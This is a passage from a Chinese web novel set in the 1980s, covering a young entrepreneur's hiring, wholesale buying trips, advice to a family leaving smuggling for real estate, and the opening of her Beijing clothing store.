闫超的俩弟弟闫刚、闫强，有空的时候也会去服装店帮闫超跑跑腿，他们早把林珊那店的规模，和她的事迹都宣传给全家听了，闫家都知道那服装店可不是什么小铺子，再加上人家又是贺正岩的对象，都明白跟着她混肯定有前途。闫刚闫强也只恨自己不是姑娘，不然肯定挤破头也要去应聘。 其实闫超还有好几个堂妹表妹得，但就只有闫青符合条件。 林珊见到闫青的第一眼就挺喜欢她的，大大方方的，见人先笑，个子挺高的，五官长得很端正，属于很有亲和力的那一型。 林珊跟她简单聊了会儿，知道她现在是未出嫁的状况，没有对象，这在这个年代其实已经属于有点晚的了。 闫青自己倒是看得很开，“我看上的，人家看不上我。看上我的，不是丑就是穷。慢慢儿对吧，缘分应该还没到。” 林珊喜欢她这个心态，本来想的是应聘售货员，现在觉得，要是没有合适的店长人选，可以试着先培养她看看。 招人启事贴上之后，前来应聘的人很多，林珊花了一个礼拜选了三个售货员，加上闫青，一共四个人。 店长也找到了合适的人选，是贺正岩的发小卢学军的老婆梁小慧介绍来的，名叫魏雪琴，32了。离婚之前一直在供销社当售货员领班，大专学历，带着一个女儿生活。 她跟梁小慧是旧识，娘家也是部队的，本来家里人想帮她在部队找个活儿，她自己不愿意，非要自己找，听小慧说她为人正直善良，能吃苦，别看说话特别温柔，也很爱笑，但其实是个给前夫开瓢的主儿。 林珊定下魏雪琴当店长之后，突然意识到自己好像给包子铺和服装店都找了好几位离婚女性入职。倒不是故意这么选的，纯粹就是条件合适而已。 谁不想要干劲儿十足，又有经验，同是性格又爽利的职员呢。 找好了人，又把从安河带回来的服装店规章制度发给她们之后，林珊就要去进货了。她计划进完货，再把安河服装店的店长杨艳叫过来，负责培训新员工。 不用多长时间，一周就行。 其实本来进货林珊不用自己去的，毕竟刚拿了春夏装回来，雷阿英只要负责按照之前的货样儿把货发过来就行了。但这毕竟是京市的第一家店，她还想再看看能不能淘到一些新鲜货。橱窗里也还缺少点儿摆设，她想去弄一些稀罕物回来。顺便再实地考察一下阿英找的这些渠道。 总之想来想去，还是亲自去一趟比较好。 这次进货林红就去不了了，她打算只带上李娜和她哥李国超。反正现在货运路线已经搞定了，不用人头数去扛货了。不过为了人身安全，还是去三个人比较好。 李国超当过兵，身手保留得很不错，再加上一米八五左右的大个头，又黑又壮的，一般人都不敢靠近他。这也是林珊让李国超平时跟赵桂花收账和跑银行的原因了。有这么个“保镖”在，劫道儿的都得小心点。 林珊把服装店的装修工作暂时交给闫超后，就去买火车票了。她打了个电话给贺正岩，发现刚好能来得及在出发之前跟他见个面。 三天后，贺正岩一从房山回来，就去了科研所的房子。 他赶回来的时候已经晚上八点多了，肚子饿得咕咕叫，林珊赶紧给他做了一碗炝锅面，卧了两个鸡蛋。 贺正岩心满意足地大口吃着，哪还有半点儿疲惫。 “慢点儿。”感觉口腔黏膜能烧坏了，林珊赶紧倒了杯凉白开给他。 贺正岩笑得很开心，如今也体会到卢学军嘴里，忙了一天回去，家里那碗热汤面有多让人舒坦了。 “这次去多久？”他问。 林珊：“来回差不多要一个礼拜。” “行，我明天早上送你。”贺正岩说罢，指了指带回来的一个小包袱，“里头有核桃跟菊花茶，房山那边儿的特产，你尝尝怎么样。” “好，谢谢啦。” 贺正岩边吃，边详细询问了一下林珊这一阵的情况，知道她一切顺利，就放心多了。 林珊跟他聊了一下闫超，“他办事能力挺不错的，交给他的活儿都完成得很好，有些我忘说的，他也都记得干。”有分寸，积极主动，在买建材的钱账上面，一分一厘都算得很清。 贺正岩笑道：“你满意就行。” 林珊把店长是梁小慧介绍来的事儿也说了，“我让人送些吃的给她，合适不？” “合适，她就爱吃，你那包子铺她自己就去买过好几回。” 林珊笑了，不知道她爱这口，“那我跟杜丽打声招呼，让你那些发小们都享有VIP待遇。” 贺正岩不懂“VIP”什么意思，林珊跟他解释了一下，顺便问了问他英语学到哪儿了，他可是有一阵儿没有问过她题了。 “你给我书都学得差不多了，现在读报纸基本没有什么大问题，遇见不会的，我就查词典。” 林珊竖起大拇指，“真不错，这么忙都没忘了学习。” 贺正岩笑了，觉得她这语气有点像在表扬小孩儿，忍不住揉了下她的脑袋，顿时遭来了林珊的抗议。 吃完饭，两人又聊了会儿天，贺正岩就回去了。他是个正经人，即使再舍不得，也不会提出那种留宿的要求。 次日林珊踏上了回安河的火车，李娜和李国超再次早早就等在了火车站，三人一聚齐，齐刷刷地又登上了前往粤城的火车。 雷阿英知道林珊要来进货，算着时间奴役着她哥阿强把车开到了火车站。 林珊一行人一到战，就瞧见他们兄妹俩在冲这边猛招手。 “珊姐！”阿英精神抖擞，容光焕发，跟以前那个在自家铺子干啥都不耐烦的小妹比起来，完全像换了个人。她今天穿得是无袖衬衫配牛仔短裤，凉快得让李国超都紧张，忍不住在心里感慨这粤城人就是开放啊，穿这么露！ 林珊笑着夸了阿英两句，谢过阿强后，一行人上了车。 这次定的还是那家招待所，芳姐就盼着林珊过来呢，热情得阿强和阿英都纳闷，这招待所的人什么时候这么好说话了。 安置好后，林珊他们没有去批发市场，而是跟阿英去了她谈好的几家渠道。 这几家所处的位置各不相同，但都离服装市场没有很远，基本都是用空屋子当成了工作间，满屋子都是货，一堆又一堆的。 有那论斤批的白衬衫，也有那论价拿的高端真丝衬衫，质量和款式都很不错，种类繁多，一看就都是外来货，价格却比市场便宜不少。 林珊很满意，老板也爽快，见她要的多，当即抹了就几十块零头。 基础款的衬衫、裤子、裙子这些，量要的大得多，反正现在能货运，也不用担心运不走。服装店也预留着存货的地方，就算地方不够用，先暂时放科研所的房子就行。 关键是她很清楚这些用料好、剪裁精致的基础款往往是最好卖的，即使价格比外面的高，照样会被大量识货的女同志争先购买。 夏天的裙子更不用说了，除了市面上最多的那种的确良面料。她还进了很多真丝、棉麻和雪纺料子的。款式别致耐看，材质多样高端，不愁迷不倒满大街爱美的女士们！ 第117章 第117章 粤城走起 阿英带林珊跑了三个地方, 每个地方她都扫了不少货。本来想着这最后一家应该没什么新鲜衣服了，结果没想到遇见了熟人。 批发市场的老板陈炳坤正好在搬货，一问才知道这地方是他堂哥陈炳忠弄得。 陈炳坤前一阵就从阿英那儿知道她的合伙人是林珊, 这回一见到她，比以往还要热情好多倍, 直接货也不搬了，领着林珊看自家的货。 林珊逛了一圈, 相中了一批纯棉T恤和牛仔短裤、牛仔裙。 陈炳坤笑着说：“这边讲价我可做不了主，得我哥来。”说着, 他就把位置让出来给陈炳忠了。 陈炳忠比陈炳坤要敞亮得多, 一听林珊要的量，上来就直接报了个很有诚 意的数儿。 林珊知道人家没多要, 痛快成交之后, 几人又寒暄了一会儿。 陈炳忠说过一阵还要来一批皮裤和皮裙, 问她要不要。林珊当然要了，不过为了跟整个店的风格统一, 她皮裙肯定会要得比皮裤多。 林珊只用了大半天的时间, 就把大货基本都搞定了。就连她爱在水货区买的丝袜什么的, 也都一站式够齐了。这次的款式和数量，比以前多了一倍多，果然有了渠道效率就是不一样。 晚饭的时候，阿英要进地主之谊，林珊连忙拦住她, “你把工作做得这么出色, 这顿饭应该由我请，就当是为你办的庆功宴，千万不要跟我抢。” 阿英笑着应了, “好，谢谢珊姐！那下顿我来！” 既然是为阿英庆功，这顿饭自然就由她选地方了。她领大家去的是一家潮汕菜馆，有鱼有虾，有素有荤，最后还有一碗海鲜粥。 林珊最喜欢喝那个粥。 一桌人吃得都很开心，阿英有一肚子想跟林珊说的话，平时电话里受限制说不了几句，现在可想说什么就说什么了。 “其实港城那边的源头也好找，但是风险太大了，运过来很复杂，我一算价钱，并不比在这里拿货低太多。” 林珊拍拍她的背，“你做得对，咱不能什么钱都挣，顾好零售这一头就行了。” “是。”阿英很开心，“明天我再带你们去看看首饰。种类可多了！什么都有！我这个项链好不好看？” “好看。”看着像银的，细链，上面有个圆形小吊坠。 阿英嘻嘻笑：“其实可便宜了！珊姐，你说我们卖首饰行不行？” “再等等吧，先专注服装。”专门卖首饰，跟在服装店开辟一个小区域是完全不同的。这年头大家还穿不起好衣服，买得起首饰的又能有几个人。 “好的。”阿英也是临时起意，她内心当然更看重服装。 林珊问起她最近学习得怎么样。 阿英特别不谦虚地说：“非常好，我上学的时候都没有这么用功！姐，人家外国人的那杂志还真能学到不少东西呢！你让我找的那些设计的书，我也都弄过来了，正在看。我打算过一阵子找个老师傅，再好好教教我裁缝。” “真棒。”林珊笑着点点头，“时尚这方面的东西，咱们这儿起步晚，所以得更努力才行。我之前请你留意服装厂的事儿，怎么样了？” 说起这个，阿英话匣子就打开了。 粤城这边是有不少私营的小服装厂，但是那规模和做出来的衣服，根本就不够看的。款式土，做工也次，跟人家外来的货一看就不一样。阿英没有一家看得上的。 林珊问她：“有没有那快倒闭的？” “倒闭？”阿英想了想，感觉确实有那么一两家感觉要黄了，里头都没什么工人，“姐，你准备干什么？” 京市的服装店开起来之后，慢慢可以着手建立自己的服装厂了。这要是在后世，完全不用这么麻烦，直接跟服装厂合作，请他们按要求作出自己想要的款式就行了。 但现在这个年代，国内的设备和技术都没有外头的先进，做出的东西也没办法走高端路线。与其跟费心费力的跟这些小老板合作，不如自己干。先进设备可以想办法弄进来，人员可以请港城甚至外国的专家过来培训，只要一心想干，这些都不是问题。 当然了，如果有服装厂既有门路又有技术，那当然可以合作共赢。 阿英听完兴奋得不行，“那是不是有了厂子，我们就能做自己想做的衣服了？！” 林珊点点头：“基本是这么个路子。” “珊姐！”阿英高兴得一跃而起，一把抱住林珊，“姐！！！” 正在埋头吃鹅的李娜被她吓了一跳，看看林珊，又看看她哥，一脸蒙圈。 李国超则从一开始就被阿英的衣服给镇住了，全程非礼勿视，非礼勿听的。 次日，林珊他们跟阿英一块儿去看首饰。陪同阿英一块儿来的，还有一个大高个儿小伙子，阿英解释说这是她爸给她派来的保镖兼司机，她哥可没空一直陪着她到处跑。 林珊笑了，请大家吃了顿招待所的早餐。 他们要去的地方，跟水货市场挨得挺近。卖首饰的老板一见阿英带人过来，直接打开了另一间屋子的门，“港城刚过来一批新货。” 林珊看了一眼，数量不多，款式都挺好看的，没有金的，银的和珍珠的倒是不少。除了耳环项链手镯这些，居然还有两块手链模样的手表，她立刻都入了。跟着挑挑选选半天，最后一包装，其实也就一个小木盒子那么多。 不过这些暂时也够了，一件件放到展示区，灯光一打，再配上定制的包装盒，身价立马不一样。 离开批首饰的地方，几个人在路边随便吃了碗云吞面，就直接赶往那两家快倒闭的服装厂了。 粤城这个年头的服装厂，基本都在郊区。 阿英昨天说的那两个厂子果然奄奄一息的，一家看样子还能再挺一阵儿，一家感觉气数已尽，大约就这几个月的事儿了。 林珊没打算现在就盘下这厂子，一是这里头没什么设备，面积又小，屋子又破的，二来真没那么着急，可以等一个好时机再以低价拿到手。 她今天过来也只是想先看看这边的情况。 气数已尽的这家厂子老板陈广志，四十出头，看出林珊他们不是真心想要定衣服，却还是热情得招待了他们，连陈皮茶都拿出来了。 林珊有点儿不好意思，正好她这次本来就想给服装店选一批包装，于是临时决定给陈老板一笔生意，“您这儿能做布包吗？” “能！”陈广志刚才还一副明天就要赴刑场似的生无可恋，下一秒瞬间就活了过来，浑身上下充满了精气神儿，“你要什么样的布包？我们家什么样的布包都能做！”别的不敢说，布包还是难不倒他们的。 林珊要做的布包不复杂，就是那种布制的包装袋，收口可以抽绳的就行，非常简单。 陈广志一听这要求，瞬间放下心来，“没问题！我现在就让人开机器给你们做一个样品看看！” 林珊没想到陈老板是个急性子，不等她们反应，自己已经起身往外走了。 几人赶紧跟着去到车间，陈老板叫了个工人，嗡嗡得开始忙活，不出十分钟，一个可以抽绳的布袋就做好了。 陈广志把袋子递过去，“布料和尺寸一会儿再商量，你们先看看这个做工行不行。” 林珊来回翻看了一下，基本没问题，针脚走得也不错，“好，咱们商量尺寸吧。” “诶诶诶，我们那个屋里谈！”陈广志悬着的心稍微放下去一点儿，感觉自己的厂子跟有救了似的，虽然他也不到人家准备要多少。 布料方面林珊打算用的确良，一是因为这种布料现在最便宜，流行最广，所以产量大，颜色也多。纯棉或者其他布料成本太高了。 尺寸林珊要四款大小，大中小还有迷你。大的那个是用来装冬装的，不要抽绳，要做成帆布包那种样式的。 林珊本来还想把品牌名字和标识刺绣在上头，但陈广志的工人试着绣了个样品后，她就打消这个念头了，这刺绣的工艺实在不咋样，还不如干干净净的。 的确良布料她要淡紫色的，这年头都叫雪青色，淡淡雅雅的，很适合服装店走得路线。 陈广志把林珊的这些要求一一都记了下来，拿着计算机按了半天后，给她报了个非常实在的价格。 阿英都有点儿惊讶，小声跟林珊说了下的确良现在多少钱一米，林珊心里有了数，猜测陈老板这单生意并没有打算赚多少，可能只想先糊口。生怕要得高了，她不做了。 林珊同意了这个价格，又加了一百单。 其实安河服装厂也能做这个，找找人，说不定比这边儿还便宜，这种东西没有技术含量，在安河还能省不少路费，林珊在他这儿做，有一大 半原因是一时心软。 都是做生意的，谁还没有个揭不开锅的时候呢。 陈广志没想到林珊能要这么多布包，签合同的时候，他激动得都有点儿想哭。终于来钱了！他的厂子终于来钱了！ 回去的路上阿英有点儿不解，“姐，你要是把陈老板这个厂子救活了，那我们过一段时间还怎么接手啊？” “救不活的，没有服装厂能只靠这一单生意生存，就算我以后把订单都给他，也做不到。”毕竟服装店一年的用量是有限的，而且为了成本考虑，她回去之后肯定会去安河服装厂谈合作，以后还定不定他的都两说。 陈老板这儿只能做最基础的东西，人还特别老实，这厂子的命运恐怕很难改变。 不过这人不错，以后要是真接手了，可以问问他有没有意愿参与其中。 第118章 第118章 郭家转型 晚上回到招待所后, 林珊搬了一大箱京市和安河的特产让阿英带回家。毕竟她能这么顺利的搞定进货渠道，这里头肯定沾了不少她爸爸的光，林珊当然要表示一下心意了。 “谢谢珊姐。”阿英笑着收了, 说明天要请他们吃饭，但是林珊明天要去郭家拜访, 只能改日子了。 说起郭家，阿英凑过来偷偷告诉了她一个消息：郭峰跟他那个对象分手了。 “这么快？”好像在一块儿也没多久吧。 “说是那个女孩子家里不同意, 嫌弃他不是本地人。”阿英内心挺矛盾的，有点儿开心, 又有点儿替郭峰不值。 林珊明白了, 次日见到郭峰，她一眼就看出来人瘦了, 还有点儿憔悴。看来那小姑娘对他造成的影响不小啊。不过由于郭峰什么都没说, 路上还跟她聊得挺好, 林珊也就假装不知道了。 她这次给郭家带的特产跟雷家的一样，一半儿安河的, 一半儿京市的。郭家这回不仅郭广发和江秀琴在, 就连郭有财也在。 林珊很是惊喜, “您还没回安河？” 郭有财本来要回的，恰逢林珊打了电话过来，想着也不差这两天。再说郭有财也有一阵儿没好好跟林珊聊聊了，前一阵她带对象去家里看他，也就大致聊了那么几句而已。 饭桌上, 郭有财问起林珊她京市服装店进展得怎么样了。 林珊把装修进度说了一下, “……这批货拿回去之后，再培训一下员工，就能准备开业了, 估摸在八月底吧。” 郭有财听得直点头，满脸都是赞赏之色，他一开始真没想到林珊能在服装上面玩儿出这么多花样来，安河那个店一开起来，他就知道这丫头跟别人真得不一样，这同样是卖衣服，就她能搞出最大的利润。 现在林珊京市的店都要开起来了，肯定更能卖上价钱。她跟雷家那小姑娘合伙的这事儿做得也很漂亮，攀上雷家，找渠道什么的还不是水到渠成。 还有安河那个食品厂，她还真给盖起来了。郭有财前一阵光是粗略一算，就被林珊这一年的利润给吓住了。更别说她还不停，服装店应该还会继续再开，那食品厂要是生产起来，利润恐怕更是大的可怕。 郭有财觉得自己的脑子不够用，已经算不清这丫头将来能挣多少钱了。而且最关键的是，她干的这些全部都合法合规。不像他家干的这行，利润大、风险更大，尤其这一阵儿又遇上大整顿，真是处处小心谨慎，天天连个整觉都睡不了，利润更是被迫大减。 难啊。 林珊其实多多少少能感觉出来郭家人的疲态，虽然他们很热情地在招待她，但是人的状态是骗不了人的。再加上前一阵儿郭峰说过粤城换了一把手，郭有财又在这儿待了这么久，她心里大概知道可能是他们的生意受到了影响。 不过这事儿人家不提，她也不好说什么，甚至觉得自己来得的不是时候。 结果聊了一会儿之后，没想到郭有财竟然自己提起来了，说生意最近难做，打算干点儿别的，还用开玩笑的口吻问林珊：“咱们清大的高材生有没有什么好的建议啊？” 林珊笑着谦虚了两句，完全没有藏着掖着，“如果我现在有好几百万的话，第一件事儿就是去深城买地皮、盖房子。” 郭有财愣了一下，“你是说……盖楼？” 林珊点点头，“咱们国家肯定会越来越开放，很多现在买不到的东西，以后一定满大街都是。以前不管的事儿，以后一定会管。规章制度会越来越严，市场慢慢儿也会规范起来。房地产，也就是盖房子，虽然现在这个阶段，可能没有您目前的生意挣得多，但是在未来二三十年，绝对会是朝阳产业。而且，为老百姓盖好房子，让百姓能够安居乐业，努力建设房地产市场，也是在为国家的发展做贡献。” 只要不要昧着良心做黑心商人胡搞八搞，这年头就开始正儿八经做房地产的，就没有不发达的。 走私终究不是一个出路。 后世那“著名”的赖某星，当年多么的风光啊，可事发之后不照样要潜逃加国十二年，最后还是要被遣返回来的。 就算那些没有被遣返回来的，在人家的地盘儿上过得就真的幸福？后世有些润人虽然嘴上骂着娘，实际所有的生活都还是围绕着祖国转的。看国内的消息，吃中餐，说中文，没有本地朋友，一点儿都融入不了人家的主流社会。有些看似混得风生水起，实际等到关键时刻，照样没人把他们当自己人。 这一点在后世已经无数次得到了验证。 林珊不知道郭家做得有多大，但感觉小不了。她不想他们将来出事，这种事儿还是见好就收得好。 虽然她自己也是要做房地产的，不过这东西又不是什么高级机密，谁能做成什么样儿，全凭各自的本事，再说她现在还没有足够的资本入场。 而且郭有财从当初租第一家包子铺的时候开始，就对她有很多帮助，更别提后来很多事儿都是他帮忙牵的线。包括她到粤城来，回回都受到郭广发和江秀琴的热情款待，让郭峰开着车替她搬货，又介绍阿强和阿英给她认识…… 林珊一直想找个回馈他们的方式，所以刚才郭有财一开口，她没有半点儿隐瞒就把心里话说了。 郭有财本来以为他已经不太会被林珊惊讶到了，但听完她这一番话后，内心又是一阵翻腾。盖房这个事儿，其实港城就有不少，那个需要很多钱，都是真正有钱人干的。 他们家一直没想过这种事儿，是觉得港城是人家的地盘，他们根本就没那个资本。大陆这边儿就更不用说了，根本就不允许土地买卖，谁胡搞了，可是要吃枪子的。再一个自家的生意早已经做熟了，利润又大，完全没必要惹这种麻烦。 不过，林珊会这么说，一定有她的原因。 “珊丫头，你是不是有什么消息啊？深城那边儿可不让卖地啊。”郭有财也不玩儿虚的，直接开问。 林珊看了眼桌上的人，除了自己，全都是郭家人，倒是不怕走漏风声，不过她还是小声开口道：“深城今年12月就能参与土地拍卖了。” 郭有财眼睛瞬间一亮，郭广发也明显激动起来，郭峰跟江秀琴倒是没什么特别大的反应。 “丫头，那这么看来，以后全国真都能全开放咯？！”郭有财越想越兴奋，简直不敢相信自己知道了什么。 林珊笑了，“爷爷，开放是大的趋势啊。” “哈哈哈！好！开放是大趋势！”郭有财爽朗地大笑起来，一改刚才的疲惫，顿时觉得整个人都神清气爽起来了。 郭广发也笑道：“来来来，叔敬你一杯。” 林珊赶紧端起茶杯，一桌人集体碰了一个。因为她不喝酒，郭家也就没有拿酒，大家喝得都是茶水和饮料。 郭有财之后又问了林珊一些关于房地产的看法。 林珊懂得不多，那些知识基本都来自后世，她把能想到的都说了，包括自己过两年也打算做房地产的事儿。 郭 家人惊讶得看了她一会儿，满脸写着“你自己要干，为啥舍得告诉我们这个事儿啊”。 林珊笑着解释了一下，“……再说了，市场百花齐放，产品才能更有竞争力，老百姓也就能住上更好的房子。各凭本事吧，不管怎么说，到头来都是为祖国的建设添砖加瓦。” 郭广发大为震撼，“孩子，为你这心胸，当叔的再敬你一杯。” 林珊一看，大家居然又都举起了杯子，没办法，她只能配合着碰了一个。 其实她说的这些话，并不是为了什么立人设，或者讨人喜欢之类的。她是真心这么觉得。这个年代无论干什么实业，都是在建设国家。 虽然在发展的过程中有一小部分先富起来的人，为富不仁，但是这不能磨灭其他那些勤勤恳恳做事的企业家们，创下的功劳。那些坚持做好产品，一心为员工着想，在国家遇到灾难的时候，次次都出来捐钱出力的企业家，是她真心敬佩和想成为的人。 就算以后她达到了大富的级别，也绝对会不会迷失在贪婪的金钱游戏里，忘了初心。说到底，人这一生能吃多少东西，住多大的房子？ 与其自己过得奢靡不堪，不如把这些钱拿出来做更有意义的事。多创造就业机会，多提高员工待遇，积极纳税，努力建设国家。 林珊管不了别人，反正她自己这辈子要做一个有良心的企业家。 郭家会不会做房地产她不知道，反正她已经把下一个风口告诉他们了。一切就取决于人家自己吧。 吃完饭又喝了会儿茶后，林珊被郭峰送回了招待所。 李娜跟李国超早等她很久了，他们靠好了下午要去水货市场那边再逛逛，给店里淘点儿装饰品。 郭峰一听他们想干这个，直接让李娜和李国超上车，顺道把三人送到了水货市场。 林珊一行人逛了一下午，买了不少小东西，卖水晶球的老板还告诉他们，走出去不远就有个旧货市场，那地方老东西多。 林珊一听这个，立马拉着两人去了。 不出多大一会儿她就淘到了一个陶瓷花盆，一个小首饰盒，还有一个铜制的精美烛台。要不是天已经黑了，人家都陆续收摊了，她还想继续逛。 次日，林珊一行人跟阿英吃了顿饭之后，就要回去了。由于这次绝大多数衣服走得是货物托运，返程的时候拿的东西甚至没有来的时候多。 三人在安河下了车，林珊没回家就直奔服装店了，安排好店长杨艳进京培训的事儿，隔天两人一早直接北上。 第119章 第119章 打个广告 杨艳要去京市的事儿, 羡慕坏了安河服装店的同事。不但能去看看首都，还包吃包住又有补贴的！所有人当时全都刷刷地看向林珊，眼里都是期盼。 林珊笑着保证, 以后再开店，会把培训的机会给表现最优异的店员。 姑娘们一阵欢呼雀跃, 直感慨在“红珊”干活实在太值了。 杨艳本人自然更开心了，她下了火车人都懵懵的, 珊老板的对象还开车过来接她们！她还是头一回坐这种大吉普车，真是气派啊！ 果然只有这样的小伙子才能配上珊老板！ 首都的辉煌让杨艳目不暇接, 新的服装店更是让她傻眼。这么宽敞明亮, 装潢得这么高档，比安河的店还要漂亮！ 这回在林珊身边工作, 她算是真实体会到珊老板有多能干了。装修要她把关, 家具要她查看, 衣服来了要她带人去取，取来了更要各种熨烫摆设, 培训的事儿也需要她她最后把关。 铁人大概就是这样儿吧！ 林珊不是铁人, 这两天确实有点儿格外忙了, 毕竟开店在即，有很多事需要处理。装修目前已经验收完了，尾款也给王大军结清了。家具做得相当好，不但样式尺寸完全一致，连那些边边角角吕大爷都磨了个工艺边儿, 这有点儿超出林珊的意料了, 当即就决定以后再开店的家具都给吕大爷定制。 好沟通、眼里又有活儿的老师傅，实在太难得了。 家具一进场，人体模特一摆, 服装店立刻就有样儿了。闫超高兴坏了，看哪儿都觉得特别漂亮，这段时间的辛苦真值了！今天他俩弟弟也来了，要帮林珊把货都搬进来。 他们之前去火车站搬货的时候就已经很意外了，居然有这么多。今天再一搬林珊熨烫好的这些衣服，发现怎么又变多了！ 三个人一趟又一趟地拉了好几三轮车，才把衣服都归置到位。 林珊一整天都带着员工们在打扫卫生和摆货。 傍晚贺正岩带着包子铺的吃食来看她的时候，林珊瞬间感觉被拯救了。他带的东西多，够所有人吃了。一天下来大家都辛苦了，吃点儿熟肉包子犒劳犒劳大家也是应该的。 最近因为杨艳也在科研所的房子住，贺正岩基本没有机会跟林珊好好独处，他能看出来她这两天明显瘦了一些，但精神状态还不错，眼睛亮堂堂的，谈起开店的细节滔滔不绝。 贺正岩看着她吃得香、聊得乐呵，干活干得有劲，自己心里也开心。明天杨艳就走了，他琢磨着下了班早点儿来接她，这样就能多相处一会儿。 日次中午把杨艳送上火车之后，林珊又跟员工们花了一天时间来布置店面和熟悉流程。到这个阶段，准备工作基本就都完成了。接下来林珊准备找找报纸杂志什么的，花钱宣传一下。 傍晚贺正岩来接她的时候，林珊把这事儿说了，“……沈丹姐在报社工作，我想请她帮忙牵个线。不知道她会不会介意。”有些文人其实不喜欢搞这些事儿的。 贺正岩笑了，“沈丹人随和，也会来事儿，没那些清高的毛病。再说这也不是什么大忙，给报社送钱的事儿谁不想要。” “好的。”听他这么说，林珊就放心了，心里开始盘算这广告要怎么做才合适。 沈丹所在的报社是全国最大的权威报社，旗下的主款报纸发行量全国第一。就是上面的小广告，阅读量也比一般读物大。林珊得好好想想怎么才能写出一篇既符合报纸调性，能突出她服装店的优势，同时又能描绘出一种生活方式的广告。 其实服装店的生意她不是特别担心，毕竟对自己的服装有信心。光装修期间就有不少人过来看过稀罕，这也是为什么她早早的就把“红珊服装店”的灯牌给挂上了。先免费给自己打个广告，让大家知道这儿有家高档服装店要开业。 不过这种口传的效果，跟报纸和电视的宣传效果根本不是一个级别的。为了打响这头一炮，让京市的生意比安河还好，宣传是必须的。京市太大了，她又不是名人，不具备在安河的那种自带的宣传效应，必须花钱了。 其实八十年代已经有时尚杂志了，好像叫《时装》，是一家在上海创办的杂志，不过那发行量跟地方小报都不能比。林珊想等服装店运转一段时间后，再跟对方联系一下，做点儿精准投发。 现在这个阶段还是要全面聚焦京市，先在报纸上发个广告试一下水。之后再去电影杂志上植入自家衣服，请大明星穿一下自家的衣服上电视曝光。 先一步步来。 回到住的地方后，林珊发现屋里居然多了一部电话！她立刻惊喜地看向贺正岩。 贺正岩笑道：“前一阵儿就定了，今天白天才按上。” “谢谢！”林珊一把抱住他，本来她就准备给这里通电话，但是最近实在太忙，根本就没顾过来，没想到他居然留意到了。 贺正岩享受着林珊的主动，轻拍着她的脑袋，心里美滋滋的，感觉这一阵儿工作上的疲惫都散了。 小情侣抱在一起温存了一会儿，说了些平时顾不上说的话。 “对了，你上次说的机器型号我问过了，有比那更先进的，价格差得也不多。你要是想要，咱就抽空去看看。” “太好了！等过完这一阵儿可以吗？我得把店先开起来。” “好，不着急。” 林珊盘算着正好到时候再看看对方能不能搞到做服装的机器，要是可以的话，以后服装厂的设备也不用愁了。 贺正岩一直待到九点钟，才依依不舍地离开。林珊洗漱完后有点儿睡不着，索性直接开始写广告稿子。虽然不知道她写的能不能用上，但是先准备着，等明天跟沈丹谈事儿的时候，也好说明自己的大致方向。 次日上午，林珊直接去报社找沈丹。 这年头找人都得传达室的大爷去叫，由于昨天晚上贺正岩就已经给顾康家打过电话了，所以沈丹算着时间来到大厅，等一瞧见林珊的身影，她就立刻小跑着过来了。 两人寒暄了两句，登记过后一块儿进了报社大门。本来林珊是想买点儿水果来的，但今天是直接来沈丹的单位，而且贺正岩也说这关系用不上，买了反而生分，所以她就空手来了。 林珊两辈子都是第一次进报社，而且是这种在后世仍然很有影响力的报社，感觉还真挺不一样的。 沈丹见她好奇，简单介绍了一下各处都是干嘛的。 林珊笑着说：“姐真厉害。” 沈丹乐了，“厉害什么，你毕业之后分配的地方比这个更好。” 林珊笑了笑，没有说自己不打算接受分配的事儿。这年头有好分配不要，也算是奇葩了。 “你服装店准备得可真快。”梁小慧前几天还跟沈丹说一块儿去看看，结果两人还没靠好时间，林珊就来找她了。 林珊把店里的进展跟她说了一下，“……所以除了到时候想请两位嫂子去捧个场，我还预备再打个广告。” 沈丹知道她今天来的目的，不过，“这事儿昨天晚上我不好在电话上跟你细说，你看这样是不是更好？” 沈丹把林珊带到单位长廊的椅子上，开始跟她细说，“我们报一向以“推动社会进步，服务青年成长”为办报宗旨，再加上你本身的事迹又非常有青年自强不息的拼搏奋斗精神，我完全可以给你写篇报道啊。只要过稿，直接主版刊登，不但一分钱不花，版面还大，这样不是更好？” 林珊当然知道这样更好，因为这就是她在安河走的路子啊，但是她主要是看在沈丹是贺正岩发小的媳妇儿，不想让自己人为难，就想着直接给钱算了。 没想到沈丹竟然直接就提了出来，林珊自然是感激不尽，她把心里的想法一说，沈丹笑道：“正岩哥跟我们家顾康可是过命的交情，你说这个就见外了啊。再说这又不是什么违反原则的事儿。” 林珊笑了，再次真诚谢过沈丹之后，把自己写的稿子拿了出来，“我昨晚上弄的，本来想看看能不能当广告发的。” 沈丹没想到她来买广告还自带稿子，立刻好奇地读了起来。 这不读不要紧，一读就看出门道来了，“……你这，你这是打算在故事里卖东西啊！” 林珊见沈丹满脸惊喜，一副被后世软文震惊到的样子，顿时有点儿不好意思，被专业人士用这种欣赏的目光看着，实在是惭愧啊，她只能说：“我瞎想的……” 沈丹笑了，“真聪明！行，我知道了，这个可以留我这里做个参考吗？” 林珊：“当然当然，谢谢丹姐！” 沈丹收好稿子，问她：“你打算什么时候开张，我好多叫几个人。” 林珊打算定在礼拜天，那天正好是黄道吉日，大家又都休息。 “好，我知道了，我跟小慧到时候一定带着人准时到！”沈丹说着拍了拍林珊的肩膀，感慨道：“真能干啊，好样的！” 林珊腼腆地笑了笑，“谢谢丹姐。”到时候她准备沈丹和梁小慧全场免费，她们带来的朋友打七折。 “稿子我这两天写出来，最晚下礼拜一能出结果。放心，过稿问题不大，到时候我再给你电话。”沈丹像照顾妹妹似的对林珊说。 林珊乖巧地点点头：“好，那我等姐的信儿。” 第120章 第120章 服装店开业 周日, 诸事皆宜。 林珊在京城的第一家服装店，正式开始营业。 这回除了鞭炮、锣鼓，贺正岩还送来了好几个花篮。她都不知道这年头已经有这种业务了, 不过不是后世那种大型落地花篮，而是挂壁的小花篮。正好挂在店门外的窗棱上面, 跟整个店的风格非常搭。 今天来的人不少，不但沈丹梁小慧带了四五个朋友一块儿过来, 师姐李倩也带着自己妈妈和亲戚来了，店长魏雪琴也叫了很多家人和朋友过来捧场。一时间热热闹闹, 人气满满。 开张本来就图个热闹, 周日这边人流量也大，很多逛街的人一看这边儿红红火火, 又是鞭炮, 又是锣鼓的, 光是瞧热闹也得就过来看看怎么回事。 更别提服装店的装修这么独一份，橱窗设计的高档又有质感, 整个店都透着一股明亮优雅的气质。这个年代根本没有类似的商铺。谁不爱看个稀罕呢。 一时间人多得林珊只好用上了隔离带, 分批请客人进去消费参观。 沈丹完全没想到一个服装店能弄成这样, 漂亮得她都不想出去。倒不是说京市和她老家沪市没有高档的场所，而且那种完全不一样的感觉。有些东西明明就是很简单的摆设，可放在这儿就有种说不出来得好看。 